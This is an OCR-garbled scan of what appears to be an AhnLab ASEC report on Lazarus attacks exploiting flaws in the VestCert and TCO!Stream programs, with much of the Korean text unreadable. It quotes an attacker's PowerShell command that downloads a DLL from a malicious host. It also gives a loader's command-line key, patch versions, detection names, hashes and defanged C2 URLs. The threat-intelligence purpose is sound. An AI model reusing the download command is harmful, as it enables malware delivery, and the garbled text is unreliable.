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ASEC(AhnLab Security Emergency response Center)o| A= Lazarus 224 J1E2| &E#s2 2
LIE{Zl 3}E =, 7|=0f 2240 2t == INISAFE CrossWeb EX2}F MagicLine4NX 2| of|

VestCert2} TCO!Stream2| 0-day F UM S 0|25 = HEES ME7| &HOIMCE

VestCert= Of|E| A~ EALO|A{ X|Z+SH Non-ActiveX 2HA1o| |l Hot AT E Q010|004
TCO!Stream (F)AUATEO| 7| XAtRE| Z2 o2 E 228 25 ZLH Ol A
Ol A AtE SOILCt.

Lazarus= A oM SLHOIAM ALE == 2T E0{2f ME2 FfH S &0, SH0| &3t
DASSZ G AZEYOE AEst= 7IHUS2 BIEA| A HECZ iR Ag ALE

C}.

VestCert2| F2}F 0|8t I ECIREE

SAXt= 7| HEE F|= AFSH| ok KB 2AlS Attt ALE XYL F efet H A
9| VestCert & X| =l Windows A|ABIN|AM |l HE}RSKXE 0|20l &M AFTEIETFARIE EX
2 AlO|Eof BfZ5tH f E2tfX 70l A2t glo| VestCert A EQ)[012| M E=-utE| 2(0|
Hajz| Mgl F| ok o 2 oI5 PowerShello| A8 =0, PowerShell2 O}z 2 Zto| C2 A{H{0j|

& UM FEE CIR 2 =510 ASHSIT

HostApplication=powershell exe -command $cli = New-Object System Net WebClient, $cli. Headers['User-Agent’] = ‘Mozilla/5.0 (Windows NT 10.0;
NOW64; Trident/6.0; rv:10.0)"; $cli.DownloadFile(https://swt-keystonevalve com/data/content/cache/cache php?mode=read’, 'C:WProgramDatawWinSync
wwinSync.dll’)
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o MefollAf S TS T2 260 UBSISS ol 0| S WD 0|& 22|
ol =0fl FetBiCt. 0] 2 Mas| 3R} oj2| F
|

—
H|SH = Aot S Ch2 2 =510 A™5HA| E“:P-

THR AR Y TEL Ol ol HUE 2tol TEZ MYEICL HME 24019 2t mjeto|ef

<Malware>» <DeviceID» <Destination IP> <Destination Port> <Job ID»

e <Malware>: 2t T3 (MicrosoftVSA.bin, MicroForic.tlb, matrox86.bic,
matrox86.tcm, matrox86.tcm, wincert.bin, mseng.bin)

e <TCO DevicelD>: TCO A{tH{ 2| Device ID

e <Destination IP>: CH{A Z22I0|AHE A|AEIQ| IP

o <Destination Port>: CHAF Z2I0|HE A|AHIQ| X E (3511)

e <Job ID>: MB{0{|AM AR E|= Job ID

O0D00E30 20 20 20 20 43 3A 5C 50 5 73 5C C:\Packages\
O0000E40 4C 6F €1 €4 €5 72 SF 7 45 52 5F Loader_test\VER_
QQQ00ES0 31 5C 54 €5 €D 70 5C 00 20 20 20 1\Temp\.
00001130 20 20 20 20 6C 6F 61 &4 €5 T8 €5 loadconf.exe
00001140 2E 74 73 7A 00 20 20 20 20 20 20 .tsz.
Q0001150 20 20 20 20 20 20 20 2 20 20 20
OQ@MMSED 20 20 20 24 a0 20 2 20 20 20
00001200 .2 Tu 20 20 N ) 2 E‘/_ _—
00001210 20 . 20 20 20 20 20 2. 2u 20 20 20 20 2u o 20
00001220 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
00001230 20 20 20 20 2D 2D 72 74 35 79 36 35 69 38 23 23 ——rtSy65its
00001240 37 70 6F €9 38 38 2B 2B 35 74 34 74 35 34 74 35 TpoifS++5r4tr54cs
00001250 34 74 35 6E 00 20 20 20 20 20 20 20 20 20 20 20 4t5n.
00001260 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2
000Q1270 20 20 20 2 20 20 20 20 20 2020 20 20 20 20 _
. 20 2 20 20 20 Q_20 M
. : : - P
00001310 20 20 20 - -v 20 20 2u
00001320 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
00001330 20 20 20 20 31 2E 36 2E 32 2E 33 35 00 20 20 2C 1.6.2.35.
00001340 20 20 20 20 20 20 20 20 €9 B3 7E EE 00 92 22 00 13-4 rm,
00001350 E6 1A 22 00 80 SF €C 22 10 F3 D8 Ol 20 00 00 00 &.".€¥1".50.
00001360 03 0OC 0C 0 00 0 3 5C 54 iiiieiaen-. Ci\T
00001370 €5 20 2 20 20 20 emp.
00001380 20 20 2 20 20 20
Q@@ean 20 20 2 20 20 20
- - o -
J0001440 . p 20 . 2 2 —’
00001450 20 :u 2 20 20 2u 20 20 20 20 20 20 <u 20
00001480 20 20 2 20 20 20 20 20 20 20 6C &F 61 &4 load
00001470 63 &F 6F €6 2E €5 78 &5 00 20 20 20 20 20 20 20 conf.exe.
[O2] ESstEl HH OO & U8 (BEME)
o HHI mtQl 2[X|: C:\Packages\<Hl| = 2= O|E>\<H{ M >\<X|FT A E>\<djj = mfH>
o AlSH T2 Joadconf.exe —rt5y65i8##7poi88++5t4t54t54t5n
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2 HH2 B 0f IR 29l (loadconf.exe)E C:\Temp\ A 20| Ct2Z =510 QIKXI2} S Al

Fofy g

ASECE 0|H0f| &t %=l VestCert 2} TCO!Stream?| F XS EA5H KISAN| Al 05T, s &
Ao = YEE e oIXl s F U S wi X7} 2t2 E et 33 13 KISAL| E 0t F|
OFM MH TZEH ‘28 Bt EFEM HUH|0|E A"2l= NS 2 Hot A AAIZ0| SX[HH
CH(https://knvd.krcert.or.kr/detailSecNo.do?IDX=5881). 5IX|2t S A ZEQ0{EE A5 N
ClIO|E E|X| 3= AZEQ {2 0{X 3| F ket B E AFE5H= X0o| B2 A2 = &QIEIC

S 2ZELo7F AXE A|A—NME =8 MA = MR & As ADsiC
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B 2ol ol= £= M(VestCert) F 2™ 0| gl HAG[0|E A 11 (2023.03.17)
H{A: 2.3.6 ~2.5.29
:2.5.30
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ol
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TCOI!Stream

o F|OFA MH: XIAL Pt £ 2 M(TCO!Stream) £ 2FA 0| 9l of|o|E AT
(2023.03.07)

o OI5FHI= H{A: 8.0.22.1115 0|5}

e 5{Z t{A: 8.0.23.215

2 QUEE

ol

AhnLabO| M= sl AR E, ofd 2| 2 URLSH| CisA] Tt 20| B X

0t

[z ZIE

2023.01.11.03)
2023.01.12.00)
2023.01.12.00)
2022.01.05.01)

e Trojan/Win.Lazardoor
» Data/BIN.EncodedPE
o Data/BIN.EncodedPE
e Trojan/Win.Lazardoor
e Trojan/Win.Lazardoor (2023.01.11.03)

o Data/BIN.EncodedPE (2023.01.12.00)
o Data/BIN.EncodedPE (2023.01.12.00)
e Trojan/Win.Agent (2023.01.12.03)

e Trojan/Win.LazarLoader(2023.01.21.00)

.~ N N~~~

(&9 =T

e |nitialAccess/EDR.Lazarus.M10963
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o Execution/EDR.Event.M10769
e Injection/EDR.Lazarus.M10965
e Fileless/EDR.Event.M11080

[10C]
MD5 / SHA1

o E73EAB80B75887D4E8DD6DF33718E3AS

» BA741FA4C7B4BB97165644C799E29C99

e 064D696A93A3790BD3A1B8B76BAAEEF3
 8ADEEB291B48C97DB1816777432D97FD

» 67D306C163B38A0GE98DAS711E14C5A7

o C09B062841E2C4D46C2E5270182D4272

o 747177AAD5AEF020B82C6AEABESB174F

» E7C9BF8BF075487A2D91E0561B86D6F5

» 55F0225D58585D60D486A3CC7EB93DES

o EC5D5941522D947ABD6CIEB2E615B46628A2155F (SHA1)
o 3CAGABF845F3528EDF58418E5E42A9C1788EFE7A (SHA1)

» hxxps://www.gongsilbox[.]Jcom/board/bbs.asp

o hxxp://www.sinae.or[.]kr/sub01/index.asp

o hxxps://www.bcdm.or[.]kr/board/type3_D/edit.asp

o hxxps://www.hmedical.co[.]kr/include/edit.php

e hxxps://www.coupontreezero[.]Jcom/include/bottom.asp

o hxxp://ksmarathon[.Jcom/admin/excel2.asp

o hxxps://www.daehang[.Jcom/member/logout.asp

o hxxps://swt-keystonevalve[.Jcom/data/content/cache/cache.php?mode=read
o hxxps://www.materic.or[.]kr/files/board/equip/equip_ok.asp
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